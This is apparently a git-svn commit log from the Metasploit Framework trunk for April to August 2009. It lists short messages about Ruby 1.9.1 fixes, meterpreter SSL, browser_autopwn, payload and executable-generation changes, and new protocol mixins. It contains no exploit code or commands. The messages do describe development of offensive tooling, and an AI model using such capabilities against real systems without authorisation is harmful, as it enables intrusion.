git-svn-id: file:///home/svn/framework3/trunk@6939 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-06 05:54:36 +00:00
10d3e4c19f
adds support for a 10g packet given the right connect string.
...
git-svn-id: file:///home/svn/framework3/trunk@6937 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-05 00:46:35 +00:00
4bcf42ae3c
Apply a patch from Brett Blackham for loading plugins from the user's .msf3 directory as well as the system one
...
git-svn-id: file:///home/svn/framework3/trunk@6933 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 14:07:05 +00:00
13a19c4e31
make this bso not fso
...
git-svn-id: file:///home/svn/framework3/trunk@6932 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:16:13 +00:00
8cb6cee2d1
Map class methods to instance
...
git-svn-id: file:///home/svn/framework3/trunk@6931 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:12:19 +00:00
02443b3721
One more cleanup, everything loads cleanly now
...
git-svn-id: file:///home/svn/framework3/trunk@6930 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:08:25 +00:00
b70dad9186
Merge the new stubs for meterpreter on other platforms
...
git-svn-id: file:///home/svn/framework3/trunk@6928 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 03:50:40 +00:00
b47226797d
Updating the whitespace to match the rest of the modules
...
git-svn-id: file:///home/svn/framework3/trunk@6925 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-31 18:02:14 +00:00
49b7dcb30c
Overhaul of the metasploit payloads from Stephen Fewer - smaller/cleaner/new hashing/support for WinNT 4.0 -> Win7 with size reductions for the stagers and minimal size increases for the singles
...
git-svn-id: file:///home/svn/framework3/trunk@6922 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-31 17:50:10 +00:00
89eb1c5cc9
differentiate between firefox and safari and use some more standards-friendly string idioms
...
git-svn-id: file:///home/svn/framework3/trunk@6910 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-28 03:55:47 +00:00
8e32779329
remove redundant code
...
git-svn-id: file:///home/svn/framework3/trunk@6909 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-28 00:02:25 +00:00
ce4e63e209
more reliable os detection on firefox
...
git-svn-id: file:///home/svn/framework3/trunk@6908 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-27 17:54:55 +00:00
1b84ca5282
make the error easier to track down when module loading fails
...
git-svn-id: file:///home/svn/framework3/trunk@6906 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-27 03:40:45 +00:00
12e1b4fdb3
Add raw to the l5 requires
...
git-svn-id: file:///home/svn/framework3/trunk@6901 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-26 05:02:30 +00:00
6ab7bee149
Add payload_data to TCP to only return the tcp payload and not the options
...
git-svn-id: file:///home/svn/framework3/trunk@6898 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 14:11:13 +00:00
00b4c62bf1
fix ftpserver SIZE crash
...
git-svn-id: file:///home/svn/framework3/trunk@6897 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 06:24:01 +00:00
c146ee3e0f
Fix an unpack('S') -- this is host-order specific and should be 'v'
...
git-svn-id: file:///home/svn/framework3/trunk@6895 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 03:47:30 +00:00
2902a47d6d
Remove busted unicode from the javascript os detect, this caused errors on 1.9.1
...
git-svn-id: file:///home/svn/framework3/trunk@6894 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 03:46:08 +00:00
55ae0e10d8
Make a stink about missing openssl support in the console driver
...
git-svn-id: file:///home/svn/framework3/trunk@6887 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 13:28:47 +00:00
98d0b62942
make report_user_agent return something useful and fix a bug using the wrong column name
...
git-svn-id: file:///home/svn/framework3/trunk@6880 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 06:18:34 +00:00
fde468135e
slightly more informative comment
...
git-svn-id: file:///home/svn/framework3/trunk@6878 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 03:06:44 +00:00
122ba9f3e5
Add the missing browser_autopwn mixin
...
git-svn-id: file:///home/svn/framework3/trunk@6874 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 23:40:22 +00:00
739207bf4a
merge browser_autopwn back into trunk. This changes the database schema slightly, so make sure to db_destroy and db_create before using the database features.
...
git-svn-id: file:///home/svn/framework3/trunk@6873 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 20:14:35 +00:00
756b1ab020
Add the OpenSSL require to meterpreter
...
git-svn-id: file:///home/svn/framework3/trunk@6869 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 18:37:51 +00:00
765b778d5f
Minor compat change, more consistent with 1.9.1 syntax
...
git-svn-id: file:///home/svn/framework3/trunk@6868 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:38:23 +00:00
f116f65b96
Update the DB objects to match the new schema
...
git-svn-id: file:///home/svn/framework3/trunk@6867 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:37:14 +00:00
238f8d798f
Let vulns refer to hosts w/o a service, add a mac and address6 field to the hosts table.
...
git-svn-id: file:///home/svn/framework3/trunk@6866 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:25:33 +00:00
885f82e760
Ignore method conflicts in bit-struct
...
git-svn-id: file:///home/svn/framework3/trunk@6862 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 02:57:37 +00:00
a97abcf837
Cleaning up pcaprub, interface closing will still be handled by the GC
...
git-svn-id: file:///home/svn/framework3/trunk@6859 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-21 19:36:37 +00:00
465af50f1e
Allow option overrides for the callers of open_pcap
...
git-svn-id: file:///home/svn/framework3/trunk@6855 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-21 17:48:10 +00:00
b3e36e5692
Reduce the size of the generated executables (works better with sqlmap and other tools that need small exes). Payloads are now capped at 2048 and the amount of random data appended to the exe has been reduced.
...
git-svn-id: file:///home/svn/framework3/trunk@6849 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-20 13:55:29 +00:00
529ded22ae
reverting last commit; somebody didn't cross their fingers
...
git-svn-id: file:///home/svn/framework3/trunk@6847 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 20:48:47 +00:00
c3dc1ecb55
reintegrate browser_autopwn into trunk; cross your fingers and hope this works
...
git-svn-id: file:///home/svn/framework3/trunk@6846 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 17:27:36 +00:00
a6a8c04d2b
Continue loading even if pcaprub is not available
...
git-svn-id: file:///home/svn/framework3/trunk@6844 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 13:14:52 +00:00
8d43d11798
Simple Raw wrapper for strings as a L5 object in Racket
...
git-svn-id: file:///home/svn/framework3/trunk@6829 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 23:14:25 +00:00
d57bdecb1d
Remove the last stubbly bit of scruby
...
git-svn-id: file:///home/svn/framework3/trunk@6827 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 20:51:39 +00:00
3ca75cb19e
Removing the old scruby library
...
git-svn-id: file:///home/svn/framework3/trunk@6825 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 20:43:01 +00:00
7dcc3e5e47
Overhaul of all modules to use racket instead of scruby/packetfu
...
git-svn-id: file:///home/svn/framework3/trunk@6823 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 20:36:40 +00:00
ed05516b9f
Force the Racket library to live under the Racket:: namespace, fixes a bug where tcp.payload was overwritten during fix!()
...
git-svn-id: file:///home/svn/framework3/trunk@6821 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 18:12:18 +00:00
6ec4811bd0
Adds the bit-struct library to the source tree. Required by Racket
...
git-svn-id: file:///home/svn/framework3/trunk@6816 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 04:32:33 +00:00
9f88ed05e7
Adds the Racket library to the source tree. This library has been modified to change the require() statements so that all files are located under the 'racket' base directory.
...
git-svn-id: file:///home/svn/framework3/trunk@6815 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 04:29:41 +00:00
5e0213c662
Allow the Capture mixin to handle a pcap file instead (thanks Max!)
...
git-svn-id: file:///home/svn/framework3/trunk@6813 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 22:08:31 +00:00
f8c2a203fd
OSVDB references updates from Steve Tornio
...
git-svn-id: file:///home/svn/framework3/trunk@6812 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 16:02:24 +00:00
54973cf93b
Fix the 500 error message to include a \r\n
...
git-svn-id: file:///home/svn/framework3/trunk@6810 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 05:20:39 +00:00
8d6e48bc0b
Revamp the THREADS handling for aux run_host() and run_batch(). THREADS is
...
supposed to be the number of concurrent threads; however, what's been happening
is just the firing off of THREADS threads and then simply waiting for them all
to finish before doing another round.
Now it tries to keep new threads coming when possible. It's not exactly smart,
but should usually beat the previous method (when using multiple threads) and
should never be any worse.
Here's the relevant code comment:
# Assume that the oldest thread will be one of the
# first to finish and wait for it. After that's
# done, remove any finished threads from the list
# and continue on. This will open up at least one
# spot for a new thread
git-svn-id: file:///home/svn/framework3/trunk@6809 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 02:27:18 +00:00
4b9785e1b7
Fix aux run_batch() handling when using multiple threads: it would often pass
...
modules a duplicate or even empty batch array.
git-svn-id: file:///home/svn/framework3/trunk@6808 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 00:20:54 +00:00
ea272e87dd
comment typo
...
git-svn-id: file:///home/svn/framework3/trunk@6805 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-15 06:40:23 +00:00
1ffa74cbb3
Fix the Benchmark method issue by loading active_support which extends Benchmark
...
git-svn-id: file:///home/svn/framework3/trunk@6801 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-14 18:27:34 +00:00
212dc2f2b0
addition of oracle mixin and sql client.
...
git-svn-id: file:///home/svn/framework3/trunk@6796 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-14 03:55:32 +00:00
3f5ee3d34b
Don't raise "Invalid codepage 1252, only 1252 supported" in Rex::Text.to_unicode
...
for uhwtfms-half. It always failed if passed something other than an empty str
git-svn-id: file:///home/svn/framework3/trunk@6793 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-14 00:01:04 +00:00
df9283d1b2
strip Rex::ExtTime.sec_to_s return val to remove ever-present trailing space
...
git-svn-id: file:///home/svn/framework3/trunk@6790 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 23:32:35 +00:00
c7515f15d7
a few simple changes (e.g., pack('V') -> pack_dword() where applicable)
...
git-svn-id: file:///home/svn/framework3/trunk@6785 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 22:26:27 +00:00
5fb316b383
Integrates L4teral's JS encoder/encrypter
...
git-svn-id: file:///home/svn/framework3/trunk@6784 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 22:17:11 +00:00
303e4eab71
Enable broadcast support for all datagram sockets, remove the broadcast parameter entirely.
...
git-svn-id: file:///home/svn/framework3/trunk@6780 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 15:24:46 +00:00
bab394fa8f
Typo fix - thanks Robin Wood!
...
git-svn-id: file:///home/svn/framework3/trunk@6779 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 15:11:11 +00:00
9068b9a133
Adds the Broadcast parameter to the Rex::Socket class, allows udp/ip sockets to send to broadcast addresses
...
git-svn-id: file:///home/svn/framework3/trunk@6778 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 13:19:31 +00:00
0b13cb8d6a
remove methods already covered by other aux modules.
...
git-svn-id: file:///home/svn/framework3/trunk@6776 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 03:52:49 +00:00
d0232e388f
Adds a new mixin for FTP server support
...
git-svn-id: file:///home/svn/framework3/trunk@6769 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-12 20:37:57 +00:00
e8784d68fb
Fixes up the sniffer to handle large packet captures better, fixes a regression in the sysinfo command.
...
git-svn-id: file:///home/svn/framework3/trunk@6768 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-12 13:17:37 +00:00
bb4b4dbcb0
Apply jabra's patch for smtp output
...
git-svn-id: file:///home/svn/framework3/trunk@6766 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-12 01:47:04 +00:00
82cf85680c
Adds the sniffer extension for testing
...
git-svn-id: file:///home/svn/framework3/trunk@6762 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-11 13:39:43 +00:00
608ca7aae8
This patch removes some of the meterpreter compiler warnings and fixes migration over SSL
...
git-svn-id: file:///home/svn/framework3/trunk@6761 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 22:44:33 +00:00
c83e84f2d1
fix Rex::Socket::SubnetWalker num_ips; off by one
...
git-svn-id: file:///home/svn/framework3/trunk@6760 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 22:39:30 +00:00
913181b16a
factor out some code
...
git-svn-id: file:///home/svn/framework3/trunk@6759 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 21:45:52 +00:00
09eb53be5b
Use the {add|remove}_socket methods in the IP, TCP and UDP mixins instead doing
...
the same things individually in each
git-svn-id: file:///home/svn/framework3/trunk@6757 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 06:58:11 +00:00
7b516e06fe
Transfer the migration payload over SSL, still working on a crash bug after migration completes
...
git-svn-id: file:///home/svn/framework3/trunk@6756 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 03:22:10 +00:00
63f7875723
Parenthesized arguments
...
git-svn-id: file:///home/svn/framework3/trunk@6752 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-08 20:51:47 +00:00
48e1e5f351
Merge Stephen Fewer's patches to enable support for Windows 7 (fixes support for NT and 2000 as well)
...
git-svn-id: file:///home/svn/framework3/trunk@6744 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-05 20:24:37 +00:00
f14de093ed
Updated some of the looping code in regexp match method, added new putc and getc methods.
...
git-svn-id: file:///home/svn/framework3/trunk@6726 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-30 00:59:58 +00:00
5cbef4983f
Add detection of Windows Storage Server 2008
...
git-svn-id: file:///home/svn/framework3/trunk@6724 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-28 20:23:31 +00:00
8ba889e7be
Add signature for Windows 7
...
git-svn-id: file:///home/svn/framework3/trunk@6723 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-28 14:39:07 +00:00
a74d3a3f38
Switches meterpreter to SSL by default, using the PolarSSL library. To build this, just place polarssl.lib into an workspace/common/Release/
...
git-svn-id: file:///home/svn/framework3/trunk@6718 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-26 23:18:53 +00:00
45afe789af
Test case update
...
git-svn-id: file:///home/svn/framework3/trunk@6717 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-26 03:01:11 +00:00
b437190fc3
Speedup patch from Yoann Guillot
...
git-svn-id: file:///home/svn/framework3/trunk@6714 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-25 19:50:44 +00:00
e27691c543
Performance and debugging improvements from Yoann Guillot
...
git-svn-id: file:///home/svn/framework3/trunk@6712 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-25 17:59:51 +00:00
20b232b9d5
Bug fixes from Efrain
...
git-svn-id: file:///home/svn/framework3/trunk@6711 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 20:02:29 +00:00
83c34b10ce
Stop trying to use the non-existent note variable
...
git-svn-id: file:///home/svn/framework3/trunk@6709 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 19:14:19 +00:00
76ca3e7741
Fix up EXE to VBA handling
...
git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 03:59:54 +00:00
d981332b89
Better search behavior for console and msfweb
...
git-svn-id: file:///home/svn/framework3/trunk@6706 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 01:31:16 +00:00
c2362ec409
All your POWER are belong to us.
...
git-svn-id: file:///home/svn/framework3/trunk@6698 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-23 03:49:25 +00:00
fdfcbaef01
Default EXITFUNC to thread - solves some common user goofs
...
git-svn-id: file:///home/svn/framework3/trunk@6695 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 20:30:55 +00:00
a13c01ed3e
Load the encoders/nops modules in msfpayload for encoding, load nops in msfencode
...
git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 15:59:09 +00:00
0f61ce4ccb
Prefer $HOME over LOCALAPPDATA/APPDATA/USERPROFILE
...
git-svn-id: file:///home/svn/framework3/trunk@6692 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 14:16:39 +00:00
977447f56a
Add support for section dumping
...
git-svn-id: file:///home/svn/framework3/trunk@6686 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:53:53 +00:00
2283e0ffe4
Update executable template and API
...
git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:42:17 +00:00
cd12fc0ca2
Ruby 1.9.1 fixes for incognito (thanks Carlos!)
...
git-svn-id: file:///home/svn/framework3/trunk@6681 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 16:55:40 +00:00
d9792d4beb
More ruby-1.9.1 compatibility fixes
...
git-svn-id: file:///home/svn/framework3/trunk@6679 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 14:26:22 +00:00
5a4ad7c1c9
Another 1.9.1 compatibility fix
...
git-svn-id: file:///home/svn/framework3/trunk@6676 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 03:18:04 +00:00
58fb65d4ef
Another ruby 1.9.1 compatibility fix
...
git-svn-id: file:///home/svn/framework3/trunk@6674 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 02:42:00 +00:00
e6e8a42090
Enforce maximum thread count on windows platforms
...
git-svn-id: file:///home/svn/framework3/trunk@6672 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-19 21:46:40 +00:00
832b66a03f
Fix the wrong class name (patch from antoine)
...
git-svn-id: file:///home/svn/framework3/trunk@6669 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-17 21:05:19 +00:00
7cb96ed11f
typo
...
git-svn-id: file:///home/svn/framework3/trunk@6665 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-17 01:34:33 +00:00
9f69267759
Switch all warnings to stderr
...
git-svn-id: file:///home/svn/framework3/trunk@6663 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-15 02:40:28 +00:00
f9effa15c8
Indicate lack of JRuby support, pending completion of JRUBY-2739
...
git-svn-id: file:///home/svn/framework3/trunk@6662 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:37:02 +00:00
f78482d3f5
Indicate lack of support for ruby 1.9.0, indicate experimental support for ruby 1.9.1
...
git-svn-id: file:///home/svn/framework3/trunk@6661 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:30:56 +00:00
5757685b59
Remove the mutex/cv from the meterp handler, use a boring timeout instead, prevents a race on ruby 1.9.1
...
git-svn-id: file:///home/svn/framework3/trunk@6660 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:20:30 +00:00
5646e02a8a
Fix 1.9.1 compat for msfelfscan
...
git-svn-id: file:///home/svn/framework3/trunk@6659 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 20:18:38 +00:00
e841228ea5
allow the SSL option to be overridden
...
git-svn-id: file:///home/svn/framework3/trunk@6635 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-09 21:12:15 +00:00
0f6b6f6169
Allow the equal sign to be used as part of an option value
...
git-svn-id: file:///home/svn/framework3/trunk@6634 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-09 20:43:42 +00:00
c1cc193901
Quick update to allow address filtering (find unicode addresses,etc) via the -F [regex] parameter
...
git-svn-id: file:///home/svn/framework3/trunk@6630 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-08 15:59:38 +00:00
68888c469f
Indicate why database support is not enabled
...
git-svn-id: file:///home/svn/framework3/trunk@6623 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 16:28:28 +00:00
1c11bbb12d
Dont default to global, breaks in-module threading of send_request_cgi
...
git-svn-id: file:///home/svn/framework3/trunk@6620 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 05:05:29 +00:00
1e1d8124f0
Fix mips encoders
...
git-svn-id: file:///home/svn/framework3/trunk@6619 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 03:14:29 +00:00
0e35efaea2
Force binary string encoding in ruby 1.9.1, fix up a bad index call in x86.rb
...
git-svn-id: file:///home/svn/framework3/trunk@6618 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 03:02:42 +00:00
2b4e0f440b
Fix up the encoding xor to work with both old and new ruby
...
git-svn-id: file:///home/svn/framework3/trunk@6617 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 02:30:12 +00:00
51f0e8fc53
Another 1.9.1 compat change, this time for msfmachscan
...
git-svn-id: file:///home/svn/framework3/trunk@6616 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 01:43:48 +00:00
90af8f03db
Fixes up msfpescan/msfelfscan to work with both 1.8.6 and 1.9.1
...
git-svn-id: file:///home/svn/framework3/trunk@6615 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 01:39:54 +00:00
f7a7a528be
Moer ruby 1.9.1 fixes for msfpescan
...
git-svn-id: file:///home/svn/framework3/trunk@6614 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 01:24:35 +00:00
f81392f938
Dont crash if the PE has no resources
...
git-svn-id: file:///home/svn/framework3/trunk@6613 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-02 23:40:36 +00:00
147a292825
Minor fixes for ruby 1.9.1 compatibility, still quite a bit more to go
...
git-svn-id: file:///home/svn/framework3/trunk@6612 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-02 23:36:58 +00:00
9fabd18c24
Ruby 1.9 compatibility changes
...
git-svn-id: file:///home/svn/framework3/trunk@6591 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-29 13:46:12 +00:00
6a76e5d0a2
One of potentially many threading issues with ruby 1.9
...
git-svn-id: file:///home/svn/framework3/trunk@6590 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-29 03:18:00 +00:00
7c16f5b5c9
Added wmap sql command to access db directly from wmap. XML reporting.
...
git-svn-id: file:///home/svn/framework3/trunk@6587 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-28 03:26:27 +00:00
3bc44cc395
Consolidate exe generation into a single to_executable() function. Will reduce code in exploit modules dropping later today...
...
git-svn-id: file:///home/svn/framework3/trunk@6586 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-27 13:37:41 +00:00
99afc981d2
log a useful error message
...
git-svn-id: file:///home/svn/framework3/trunk@6573 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-21 23:37:07 +00:00
2a5060a934
Fix EOF seek and use a ghetto replacement for iconv to support older ruby versions
...
git-svn-id: file:///home/svn/framework3/trunk@6548 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-12 20:04:23 +00:00
6f2ff2d1d5
Do not handle Interrupt exception here.
...
git-svn-id: file:///home/svn/framework3/trunk@6545 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-11 18:16:54 +00:00
a044ac4661
Do not print backtrace when handling Exception.
...
git-svn-id: file:///home/svn/framework3/trunk@6544 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-11 17:51:02 +00:00
5384f5685a
Removing the lock to support joins, may introduce other bugs with concurrency, still testing
...
git-svn-id: file:///home/svn/framework3/trunk@6536 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-09 04:18:27 +00:00
caffa9da9f
Oops
...
git-svn-id: file:///home/svn/framework3/trunk@6534 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 20:27:40 +00:00
84f9f344cf
Case no Rex UDP socket is passed to RexUDPTransport use Standard UDP socket
...
git-svn-id: file:///home/svn/framework3/trunk@6533 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 20:26:22 +00:00
6bb267f31d
Add disasm method to -r
...
git-svn-id: file:///home/svn/framework3/trunk@6532 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 20:22:25 +00:00
d62822a9fb
Fixed SNMP Library
...
git-svn-id: file:///home/svn/framework3/trunk@6531 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 19:56:32 +00:00
8f63fc27e3
Adds the new SNMP mixin, still not working perfectly, but a good start
...
git-svn-id: file:///home/svn/framework3/trunk@6530 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 04:18:31 +00:00
6b5893f1f0
Import the ruby snmp library into the tree. Making a few adjustments to make it msf-friendly
...
git-svn-id: file:///home/svn/framework3/trunk@6529 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 03:35:59 +00:00
a3263e9c4a
Revert
...
git-svn-id: file:///home/svn/framework3/trunk@6525 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-05 21:37:01 +00:00
90ec694397
Dont log to a file
...
git-svn-id: file:///home/svn/framework3/trunk@6524 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-05 21:34:51 +00:00
2c5f13ca01
Fix up propids path
...
git-svn-id: file:///home/svn/framework3/trunk@6523 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-05 20:38:39 +00:00
43a03aa307
Big update from the ruby-ole trunk
...
git-svn-id: file:///home/svn/framework3/trunk@6522 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-05 20:31:41 +00:00
6f8d309949
Passivex fixed. Reverting r6318 for rex/proto/http/packet. Works on IE8, tests on IE6/7 welcome.
...
git-svn-id: file:///home/svn/framework3/trunk@6514 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-30 20:38:57 +00:00
fa23424b46
add -l to use and don't list already-loaded extensions in tab completion
...
git-svn-id: file:///home/svn/framework3/trunk@6509 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-30 06:09:42 +00:00
a8b64c56b5
Handle encoding of special chars
...
git-svn-id: file:///home/svn/framework3/trunk@6508 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-29 04:04:40 +00:00
03d8541b3f
espia early stages
...
git-svn-id: file:///home/svn/framework3/trunk@6499 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-27 03:43:22 +00:00
304944d792
db_del_port from jabra
...
git-svn-id: file:///home/svn/framework3/trunk@6498 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-26 14:53:37 +00:00
3a2b0929ab
stupid typo
...
git-svn-id: file:///home/svn/framework3/trunk@6497 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-25 02:12:54 +00:00
3ede3a1d41
Patch from int_80
...
git-svn-id: file:///home/svn/framework3/trunk@6496 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-23 17:49:04 +00:00
0b14dac349
Added rand_text_highascii method.
...
git-svn-id: file:///home/svn/framework3/trunk@6487 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-16 03:02:41 +00:00
a2891e86de
uhoh with personal stuff in exploit.rb
...
git-svn-id: file:///home/svn/framework3/trunk@6484 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-15 03:32:04 +00:00
cf1d255a55
SMTP Banner Grabber Aux module
...
git-svn-id: file:///home/svn/framework3/trunk@6483 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-15 03:26:22 +00:00
a8863ce330
possible fix to make postgres work again
...
git-svn-id: file:///home/svn/framework3/trunk@6478 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-12 07:09:03 +00:00
0c859dc35e
Minor fixes regarding target_host handling
...
git-svn-id: file:///home/svn/framework3/trunk@6477 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-12 02:00:50 +00:00
17ad98e8e3
Add 'Msf' to 'Context' in the connect command's socket for db_tracker
...
git-svn-id: file:///home/svn/framework3/trunk@6476 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-11 12:07:50 +00:00
162a835212
Keep the back command from removing the database backend stuff since it's
...
been moved to metasploit core
git-svn-id: file:///home/svn/framework3/trunk@6474 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-10 23:56:28 +00:00
9bcc3b3167
update aux scanner error message
...
git-svn-id: file:///home/svn/framework3/trunk@6473 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-10 04:05:05 +00:00
0a67b8ec74
show license info for aux modules
...
git-svn-id: file:///home/svn/framework3/trunk@6471 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 20:53:04 +00:00
1253e7a044
Catch ENOENT for db_destroy for sqlite3 so no backtrace is printed. I decided
...
to give a little error message for trying to destroy a nonexistent db still.
git-svn-id: file:///home/svn/framework3/trunk@6468 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:30:18 +00:00
b5a8c86241
use print_error
...
git-svn-id: file:///home/svn/framework3/trunk@6467 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:11:12 +00:00
6b28b786ac
watch out for RuntimeError in loadpath
...
git-svn-id: file:///home/svn/framework3/trunk@6466 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:04:29 +00:00
8fd36fecf5
make plugin load failure a bit more graceful
...
